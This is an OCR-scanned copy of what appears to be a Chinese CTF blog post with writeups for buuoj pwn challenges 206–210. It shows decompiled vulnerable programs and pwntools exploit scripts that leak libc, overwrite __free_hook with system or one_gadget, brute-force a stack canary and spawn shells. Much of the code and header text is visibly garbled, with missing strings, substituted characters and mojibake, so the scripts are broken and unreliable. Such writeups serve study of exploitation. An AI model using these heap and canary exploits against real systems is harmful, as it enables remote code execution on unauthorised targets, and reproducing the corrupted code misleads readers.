buuoj Pwn writeup 206-210

yongbaoii F 2021-08-31 08:04:34 K Afi 81 AR

R LR: CTE CHEIRS: ME%s

FEALFE B RSO R A&, #E5.CC 4.0 BY-SA RN, #5480 I b5 AL BERR A B 1
A CHERE:  hitps://blog.csdn.net/yongbaoii/article/details/118964673

R

CTF LR GEHIZ N 28
213 F5 & 71T 14
VB E A

206 ciscn_2019 ¢ 3

|_int64 menu()

{
puts_flush("Welcome to my bar!!");
putchar(10);
puts_flush("Be careful that a group of drunks are coming to you.");
putchar(10);
printf("—You can choose a weapon to fight them.—");
putchar(10);

puts_flush("1l: Create a weapon");
puts_flush("2: Show me weapon");
puts_flush("3: Fight!!Fight!!Fight!!");
puts_flush("5: You are a loser!!byebye!!");
return puts_flush("Command: ");
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.Poid create()
|

int i; // [rsp+8h] [rbp-18h]
unsigned int vi1; // [rsp+Ch] [rbp-14h]
_QWORD *v2; // [rsp+16h] [rbp-16h]

for (1 =0; 1 <= 8; ++1 )

{

if ( !weapon_list[i] )

{

puts_flush("size: ");
vl = read_atoi();
if (vl ==96 || vl == 256 || vl == 79 )
{
v2 = malloc((int)vl);
*v2 = @LL;
v2[1] = time(@LL) % 10 + 96;
puts_flush("Give me the name: ");
read_context(v2 + 2, vl);
weapon_list[i] = vZ;
}

else

{

puts_flush("you can only create three kinds of weapons™);

}

return;
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Rifread contextefi#, BHEH WA N,

_BYTE *__fastcall read_context(__int64 al, unsigned int a2)
{
_BYTE *result; // rax
unsigned int v3; // [rsp+1Ch] [rbp-4h]

v3 = 8;
do
{
if ( read(@, (void *)(v3 + al), 1uLL) == -1 )
exit(e);
if ( *(_BYTE *)(v3 + al) == 10 )
{

result = (_BYTE *)(v3 + al);
*result = 0;
return result;

h

++v3;
¥
while ( v3 < a2 );
result = (_BYTE *)(v3 - 1 + al);
*result = 8;
return result;
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show

int v1; // [rsp+Ch] [rbp-3F4h]
char s[1ee8]; // [rsp+18h] [rbp-3F@h] BYREF
unsigned __inteé4 v3; // [rsp+3F8h] [rbp-8h]

v3 = __readfsqword(@x28u);
puts_flush("index: ");

vl = read_atoi();

if (vl >= @ && v1 <= 8 && weapon_list[v1] )

{
snprintf(
S,
ex1eeuLL,
"weapons'name: %s\nattack_times: %lu\nattack_numbers: %1lu",
(const char *)(weapon_list[v1] + 16LL),
*(_QWORD *)weapon_list[vil],
*(_QWORD *)(weapon_list[vl] + 8LL));
puts_flush(s);
¥
return __readfsqword(@x28u) ~ v3;
F
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delete

void dele()

{
int v@; // [rsp+Ch] [rbp-4h]

puts_flush("weapon:");
ve = read_atoi();
if (ve >= 9 && vO <= 8 )
{
if ( weapon_list[ve] )
free((void *)weapon_list[v@]);
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backdoor

unsigned __inté4 backdoor()

{

int v1; // [rsp+8h] [rbp-3F8h]
int v2; // [rsp+Ch] [rbp-3F4h]
char s[1eee]; // [rsp+16h] [rbp-3F6h] BYREF
unsigned __inté64 v4; // [rsp+3F8h] [rbp-8h]

v4d = _ readfsqword(@x28u);
vl = @;

puts_flush("Can't beat down them?Let me add the attack_number for you !! ");

puts_flush("weapon:");
v2 = read_atoi();
if (v2 >= @ && v2 <= 8 && weapon_list[v2] )
{
while ( v2 - 1 > vl )
{
++*(_QWORD *)weapon_list[v2];
++vl;
}
}
snprintf(
SJ
ex1eeuLL,

"weapons 'name: %s\nattack_times: %lu\nattack_numbers:

(const char *)(weapon_list[v2] + 16LL),
*(_QWORD *)weapon_list[v2],
*(_QWORD *)(weapon_list[v2] + 8LL));
puts_flush(s);
return __readfsqword(®x28u) ~ v4;
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from pwn import

r remote ( ,26275)
libc ELF( )

def add(size,content):
r.sendlineafter( 5 )
r.sendlineafter( (size))

r.sendlineafter( ,content)

def show(index):
r.sendlineafter( )

r.sendlineafter( (index))

def delete(index):
r.sendlineafter( )

r.sendlineafter( (index))

def backdoor(index):
r.sendlineafter( )
r.sendlineafter( (index))

)
malloc_hook (ubd(r.recvuntil( )[-6:].1just(8, )D) OXFFFFFFFFFFFFFO00) (libc.sym[

OXFFF)
libc_base = malloc_hook_addr - libc.sym[
free_hook = libc_base + libc.sym[
libc_base ox41322
5 (libc_base)

0x10 p64(free_hook - 0x10))

for i in (0x20) :
backdoor(2)

add (0x60, )

add (0x60, )

add(0x60,p64(one_gadget))

delete(1)

r.interactive()
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After you climb over the snow mountain, you encounter an
evil summoner!

He summoned "The Dark Lord" Level 5! You have to get
over his dead body to fight the Demon Dragon, but you can
only summon Level 4 creatures!

What's your plan for now??7?

Available plans:
show - show your creature and its level
summon [name] - summon a creature called [name]
level-up [level] - level up your creature (below Level 5)
strike - STRIKE the evil summoner's creature!!!
release - release your creature
quit - give up and die

Enter your command:
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show

ISl 1l Ukl

if ( !strncmp(s, "show", 4uLL) )
{
if (v6e )
printf("Current creature: %s [Level %u]\n", (const char *)*v6, *((unsigned int *)vé + 2));
else
puts("You have no creature now.");
}

summon 7 i

else if ( !strnemp(s, "summon", 6uLL) )

{
if ( vE )
{
puts(“Already have one creature. Release it first.");
}
else
{
nptr = strtok(vie, "\n");
if ( lnptr )

goto LABEL_11;
v6 = (void **)malloc(©x1@uLLl);

if ( lve )
{
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
*y6 = strdup(nptr); |
printf("Current creature:\"%s\"\n", nptr);
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level-up

i)
else if ( !strncmp(s, "level-up", 8uLL) )
{

if ( lve )

goto LABEL_17;
nptra = strtok(vil, "\n");
if ( nptra )
{
v5 = strtoul(nptra, OLL, 10);
if (V5 <= 4)
{
*((_DWORD *)vé + 2) = v5;
printf("Level-up to \"%u\"\n", v5);
}

else

{
puts("Can only level-up to Level 4.");

¥
X

else

strike

else if ( !strncmp(s, "strike", 6uLL) )
{
if ( ve )
{
if ( *((_DWORD *)v6 + 2) == 5 )
system("cat flag");
else
puts(“No, you cannot beat him!");

L% T TunlRécat flag

release

}

else if ( !strncmp(s, "release", 7uLlL) )

{
if ( ve )
{
free(*ve);
vEé = @LL;
puts("Released.");
}
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exp

from pwn import
r remote( , 26599)

def cmd(s):
sh.recvuntil(

sh.sendline(s)

def summon(name):
r.sendlineafter(

r.recvuntil( )

def release():
r.sendlineafter(

r.recvuntil(

def strike():
r.sendlineafter(

ELE 8+p64(5)

r.interactive()
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JF 1 canary
L H

__int64 sub_96e8()

{
__inte4 buf[e]; //

[5] = __readfsqword(@x28u);
setvbuf(stdin, eLL, 2, ©LL);
setvbuf(_bss_start, ©LL, 2, ©LL);

[@] = eLL;
[1] = eLL;
[2] = eLL;
[3] = eLL;

puts("Input your Name:");

read(@, , ©x3euLl);

printf("Hello %s:\n", (const char *) );
read(@, , ©x60uLl);

return oLL;
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int sub_A3E()
{

}

return system("/bin/sh");
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from pwn import

context.log level

def exploit():
r.sendafter( 5 (0x30 - ox8 1))
r.recvuntil( (0x30 - ox8 1))

canary r.recv(7)

r.sendafter( (0x30 - 0x8) canary

r.interactive()

while True:
try:
global r
r remote( ,timeout=1)
exploit()
except:
r.close()

print
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add

else
{
printf("Please enter the length of servant name:");
read(e, buf, 8ulLL);
v2 = atoi(buf);
if (lv2)
{
puts("invaild length");
return OLL;

¥

for (1 =8; 1 <= 989; ++1 )

if ( !*(_QuWorRD *)&itemlist[4 * i + 2] )
{
itemlist[4 * i] = v2;
*(_QWORD *)&itemlist[4 * i + 2] = malloc(v2);
printf("Please enter the name of servant:");
*(_BYTE *)(*(_QWORD *)&itemlist[4 * 1 + 2] + (int)read(®, *(void **)&itemlist[4 * i + 2], v2)) = @;
“Fnum; -
return eLL;

}

¥
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v5 = __readfsqword(©x28u);
if ( num )
printf("Please enter the index of servant:");
read(e, buf, 8uLL);
vl = atoi(buf);
if ( *(_QWORD *)&itemlist[4 * vi + 2] )
{
printf("Please enter the length of servant name:");
read(®, nptr, 8ulLlL);
v2 = atoi(nptr);
printf("Please enter the new name of the servnat:");
*(_BYTE *)(*(_QWORD *)&itemlist[4 * vl + 2] + (int)read(@, *(void **)&Iitemlist[4 * v1 + 2], v2)) = @;
}
else
{
puts("invaild index");
}
}

else

{

puts("No servant in the team");

s

e, BEiEAEE.
show
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return puts("No servant in the team");
for (1 =0; 1<=99; ++1 )
{

if ( *(_QWORD *)&itemlist[4 * i + 2] )

printf("%d : %s", (unsigned int)i, *(const char **)&itemlist[4 * 1 + 2]);

}
return puts(byte_4810AC);
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free

printf(“Please enter the index of servant:");
read(@, buf, 8uLl);
vl = atoi(buf);
if ( *(_QWORD *)&itemlist[4 * vl1 + 2] )
{
free(*(void **)&itemlist[4 * vli + 2]);
*(_QWORD *)&itemlist[4 * v1 + 2] = OLL;
itemlist[4 * v1] = ©;
puts(“remove successfull!");
--num;

h

else

{

puts("invaild index");

h

.
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exp

from pwn import
context.log level

r remote(

def add(leng, name):
r.sendlineafter(
r.sendlineafter( (leng))

r.sendlineafter(

def edit(index, leng, name):
.sendlineafter(

.sendlineafter( (index))

.sendlineafter( P (leng))

.sendlineafter( , hame)

def show():
r.sendlineafter(

def free(index):
r.sendlineafter(
r.sendlineafter( (index))

free_got = elf.got|

target 0x6020c8+0x10




target 0x10
)

)
)
)

E)

p64(9) p64(0x30) p64(fd) p64(bk)
0x10
p64(0x30) p64(0x90)

edit(1, 0x20, p64(0x20)+p64d(free_got))

show()
libc_base = u64(r.recvuntil( )[-6:].1just(8, )) libc.sym[
libc_base libc.sym[ ]
(libc_base)
(system_addr)
edit (0, Ox7, p64(system_addr))
edit(3, ©x8, )

free(3)

r.interactive()
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print_menu();
printf("Your choice: ");
__1s0c99_scanf("%d", &v4);
getchar();
switch ( v4 )
{
case 1:
call_malloc();
break;
case 2:
call_calloc();
break;
case 3:
call_realloc();
break:;
case 4:
call_free();
break:;
case 5:
_exit(e);
default:
puts("Invalid choice");
break:;

S = /malloc

malloc

size t size; // [rsp+@h] [rbp-16h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);
if ( lptr_m )

printf(“Size: ");
__1s0c99_scanf("%1ld", &size);
getchar();
printf(“"Data: ");
ptr_m = malloc(size);
read(@, ptr_m, size);

¥

return __readfsqword(@x28u) ~ v2;

calloc
v2 = __readfsgword(@x28u);
if ( !ptr_c )
{

printf("Size: ");
__is0c99_scanf("%1d", &size);
getchar();

ptr_c¢ = calloc(luLL, size);



printf("Data: ");
read(@, ptr_c, size);

h

return __readfsqwerd(9x28u) ~ vZ;

realloc

v2 = _ readfsqword(©x28u);
printf("Size: ");
__1s0c99_scanf("%1d", &size);
getchar();

ptr_r = realloc(ptr_r, size);
printf("Data: ");

read(@, ptr_r, size);

return __readfsqword(@x28u) ~ v2;

free

v2 = _ readfsqword(©x28u);
printf("which: ");
__1s0c99_scanf("%c", &v1);
getchar();
switch ( v1 )
{
case 'm':
free(ptr_m);
break;
case '¢':
free(ptr_c);
break;
case 'r':
free(ptr_r);
break;
default:
puts("Invalid choice");
break;
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from pwn import

elf = ELF(
libc = ELF(

def malloc(size, content):
r.sendlineafter( )
r.sendlineafter( 5 (size))

r.sendafter( , content)

def calloc(size, content):
r.sendlineafter( )
r.sendlineafter( 5 (size))

r.sendafter( , content)

def realloc(size, content):
r.sendlineafter( 5 )
r.sendlineafter( 5 (size))
r.sendafter( , content)

def delete( ):
r.sendlineafter(
r.sendlineafter(

def exploit():
realloc(0x70,
realloc(e@,'")
realloc(0x100,
realloc(@,'")
realloc(0xa@,
realloc(@,'")

realloc(0x100, )

[delete( ) for i in (7)]

realloc(e,'")

realloc(0x70,

realloc(0x180, Ox78+p64(0x41)+p8(0x60)+p8(0x87))

realloc(@,'")

realloc(0x100,

realloc(@,'")
malloc(0x100,p64(0xfbadl887)+p64(0)*3+p8(0x58))
libc_base = u64(r.recv(6).ljust(8, ))-libc.sym[

if libc_base 40 Ox7F:
exit(-1)

success( (libc_base))

free_hook=1ibc_base+libc.sym[
system libc_base libc.sym[
one_gadget=1ibc_base ox41322

r.sendline(

realloc(0x120,




realloc(0x130,
realloc(@,'")
realloc(0x170,
realloc(@,'")

realloc(0x130, )
[delete( ) for i in
realloc(@,'")

realloc(0x120, )

realloc(0x260, 0x128+p64(0x41)+p64(free_hook-8))
realloc(@,'")

realloc(0x130,

realloc(@,'")

realloc(0x130, p64(system))

delete( )

r.interactive()

while True:
try:
global r

r remote(

exploit()

r.interactive()
except:

r.close()

print
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